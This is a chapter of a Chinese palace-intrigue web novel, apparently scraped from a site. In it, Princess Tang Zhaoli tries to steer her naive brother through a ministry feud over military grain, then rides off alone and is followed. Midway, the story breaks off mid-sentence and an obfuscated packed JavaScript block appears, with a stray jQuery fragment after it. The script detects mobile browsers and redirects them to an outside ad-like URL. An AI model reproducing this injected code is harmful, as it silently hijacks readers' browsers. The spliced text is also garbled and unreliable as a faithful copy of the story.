23. 失望

仁康二十七年春,匈奴汹汹来犯,镇北将军崇长卿率其子定远将军崇雲,其女昭武校尉崇霓迎战,两军对峙于灵州,一时间竟是难解难分。


边境战况焦灼,朝廷自是心焦如焚,雪花般的旨意在驿差的日夜奔波之下飞往北境,句句饱含鞭策之意。


而今日要发出的其中一封,此时正被唐昭离捏在手里。


“……兵部竟然只能筹到这么点粮草?户部不是已经松口拨银了么?”


唐昭离将卷轴丢在一旁的小几上,向屋中最上首出言询问:“三哥,兵部就此事做何解释?”


“他们说,是户部拨的银两不够。”唐佑宁坐于书案后,撑着头,脸上写满了沮丧与懊恼,再不见平日里的生龙活虎。


“那三哥可有向户部求证?”


不待唐佑宁回答,一位上了些年纪的幕僚便愤愤然出声道:“殿下与臣去过户部了,可户部那群老东西也在推诿,扬言是兵部谎报数目,想要饱充私囊!”


“呵!兵部与户部贯来如此!”


另一位稍显年轻的幕僚亦是慷慨陈词道:“不过是一个不想拨钱,一个不想筹粮罢了!前线的将士们抛头颅撒热血,他们这些酒囊饭袋却在后方消极怠工!可悲!可叹!”


“国难当头竟还敢如此,真是太过分了!”


“就是啊!就是啊!”


“一群只知贪图享乐的硕鼠!”


众人义愤填膺地声讨起来,有的斥兵部懒政,有的骂户部鸡贼,有的唾弃两部敷衍塞责,却无一人提出行之有效的解决办法。


眼见议题越扯越偏,甚至还隐隐有妄议朝政的趋势,唐昭离急忙望向唐佑宁,想示意他出声控制局面,但唐佑宁自己也深陷消极之中,他非但没有制止,甚至还赞许地应和了几句。


见此情形,唐昭离只得无奈地坐看众人发泄,待散会后,再寻唐佑宁单独议事。


“阿离,没有用的。”


唐佑宁蔫头耷脑地趴着,颀长的身形一整个蜷缩在小小的矮榻上,瞧着憋屈极了。


唐昭离侧靠于一旁的扶椅,伸手戳了戳唐佑宁弓起的脊背:“不就是被两部敷衍了么?这是朝堂上常有的事,何至于如此颓唐?”


唐佑宁骤然一缩,躲开了唐昭离的手。


“痒!”


“那你起来!”


唐昭离颇有些恨铁不成钢:“一个王爷虫似地缩成一团,成何体统?”


“不成体统就不成体统罢!反正我本就天资平庸,无计可施!”唐佑宁声音郁闷,似乎还不曾从方才的消极情绪中解脱出来。


见兄长这般沮丧,唐昭离便也生出了些心疼,她往前凑了凑,伸手轻拍唐佑宁肩侧,安抚道:“三哥莫要讲这些丧气话。那些老臣混迹朝堂多年,自是不好对付,你一时没有头绪,也在情理之中。”


“三哥不妨平心静气,再好好思量一下应对之策。”


“那我能怎么应对?他们有心敷衍,难道我还能强抢了不成?”


“非也。”


唐昭离摇了摇头。


“我们可以——借。”


她期待地看向唐佑宁,希冀他能就着提示,自己想出一个周密的计策。


“借?”


唐佑宁陷入了沉思。


须臾之后,他猛地从矮榻上一跃而起,脸上洋溢着激动与欣喜。


“阿离,我明白了!”


“你说得对,户部虽拨不出银钱,但我们可以找父皇借呀!”


“……”


唐昭离愣住了。


“……你说什么?”她不可置信地出声确认。


“哎呀!户部不是找借口不肯拨银嘛!”


“没有银两,兵部便无法筹粮,没有粮草,北疆便会陷入危机。”


唐佑宁自信满满:“既然问题的根源在于银钱,那我们只要找父皇讨到足够多的银钱,问题就迎刃而解了!”


“阿离,我说得可对?”


他一脸雀跃地望着唐昭离,等待着她的夸奖。


可唐昭离却是扭头避开了他晶亮的眼神,扶额苦笑出声。


对……对你个头!


多大的人了,怎么还孩童似地遇到问题就只会找爹娘!


她轻轻地叹了口气,问唐佑宁:“你可知父皇的钱从何而来?”


“自是从国库中取。”唐佑宁不假思索。


“国库的钱又是谁在管?”


“自是户部。”


“那好,”唐昭离眸光一闪,“既然父皇也是从户部取钱,那你找父皇意义何在?让父皇替你去户部要钱么?”


“这……”


唐佑宁收了笑容,硬着头皮狡辩道:“父皇龙威甚重,若是他发话,那些人定不敢再推诿……”


“怎么?”


唐昭离无语:“父皇命你督管辎重,就是想借此锻炼你,你倒好,竟是反过来将活丢还给父皇。”


“既如此,父皇自己拟旨办了便是,找你做什么?”


“呃……”


“好罢好罢,”唐佑宁心虚地摆摆手,支吾着小声道:“那,那我就让父皇从私库取银好了,私库总不归户部管了罢?再不济,我便自掏腰包……”


“……”奇才。


唐昭离深深地吸了口气,决定先跳过银钱的问题。


“好罢,假使你有了银钱,之后呢?你要如何筹粮?”


“筹粮?自然是将银钱拿给兵部,让兵部去筹粮啊。”唐佑宁一脸理所应当。


“如今有了银钱,他们再没有推诿的理由,只得好好地替北疆筹备辎重。”


“此事便了结了。”


“……”


唐昭离开始头疼了。


她蹙眉沉思半晌,还是决定好好地给唐佑宁讲讲缘由。


“三哥,兵部不肯筹粮,其根源并非是没有银两。”


“啊?”唐佑宁一脸震惊,“不是银钱的缘故?那是为何?”


“太子的生母是王皇后,而王皇后的父亲,正是兵部尚书王谓。”


唐昭离道:“你与太子明面上虽一派兄友弟恭,可朝中谁人不知你们的斗争?”


“王谓身为太子的外祖父,自然也清楚这一点,倘若你督粮一事办得漂亮,得了众臣,甚至是百姓的赞誉,那太子该如何是好?他要如何收拢失去的民心?”


“兵部不是无法筹粮,也不是受限于户部,他们不筹,仅仅只是不愿。”


唐佑宁脸上的欢欣如潮水般褪去,又变成了之前那副闷闷不乐的样子。


他重新躺回矮榻上,愤懑不平地重锤手边的引枕。


“哼!他不愿拉倒,我还不想找他筹了呢!”


“那便这样拖着罢!我倒要看看谁拖得过谁!”


拖着?那战局怎么办?边关的将士与百姓怎么办?


“三哥……”


唐昭离出声想


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147047|163711||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


劝,但却被唐佑宁打断了。


“我意已决,不必再劝。”


“可……”


“就这样罢,阿离,我前几日命人给你搭了架秋千,你可要去看看?”


“……”


面对着唐佑宁这副油盐不进的样子,唐昭离终究是无可奈何地败下阵来。


“算了。”


她妥协道:“三哥,此事你交给我罢。”


“不出十日,我会叫王谓松口筹粮。”


……


窗外,一只雀儿从碧绿的柳条间穿行而过,落在了檐角之上。


它闭目歇息,再睁眼时,已是日向西行,几近酉时。


一辆辘辘行过的马车惊扰了它,雀儿倏地展翅俯冲而下,轻盈地掠过车帘上那招展的“华”字。


这正是淳华公主唐昭离的车驾。


唐昭离此时正闭目端坐车中,长出一口浊气。


明明身处融融春日,可她却好似又回到了前世那个无助的隆冬,她孑然一身,孤独地躺在榻上等死。


明明她已经重生了,明明她此生已将何鼐制住,杜绝了他作乱的可能,为何她还是会觉得力不从心,还是只能眼睁睁地看着昊王一党日渐颓败?


唐佑宁他……唉。


若他仅仅只是一个毫无实权的富贵闲人,今日之事,唐昭离也就认了。


很可惜,他不是。


父皇的那句话在她脑海中响起。


“你的兄长什么样,朕最是清楚,便是朕敢放权,他也不一定敢接。”


他过于单纯,从来只会把问题想得简单,也从来理不清朝中那些纷繁复杂的牵扯关系。


他其实没有野心,也没有抱负,若不是被父皇推着赶着,他不会想要去参与夺嫡。


你的兄长,本就不适合登那九五之位。


唐昭离抬手揉了揉紧蹙的眉心,露出一个无奈的苦笑。


可是,难道他还有别的路可以选吗?


她掀开了遮挡侧窗的帘子,向窗外望去。


此处是闹市区,人头攒动,车水马龙。


鳞次栉比的屋宇伫立在大道的两侧,遮挡了唐昭离望向远处的视线。


前路究竟在何方?她该如何,才能扭转这看似必败的困局?


“延龄,停车。”


唐昭离突然开口发话。


“你去为我寻匹马来。”


延龄应了声是,片刻后,竟还真的为唐昭离找了匹马来。


马车在路边停下,唐昭离从车上下来,翻身上马。


“延龄,我要去郊外山中的庄子小住几日。”


“喏,奴这便回宫打点行囊。”


延龄抬头望了望西坠的太阳,心中升起些许担忧:“殿下,天色已晚,您带几个侍卫同行罢?”


可唐昭离却拒绝了。


“不必了,我想一个人静静。”


唐昭离用力地一扯缰绳,骏马仰脖嘶鸣,扬蹄向前奔去。


她太想宣泄苦闷,也因此不曾注意到街角的馄饨摊前,有一人匆匆站起,纵身一跃上马,向着她的方向追来。


“公子,您去哪儿?!”


福来在原地焦急地大喊。


“这馄饨还要不要了啊?”


“不要了,你先回府罢!”


少年清朗的声音远远传来,语气雀跃,尾音上扬。


“我看见昭昭了!我要去追她!”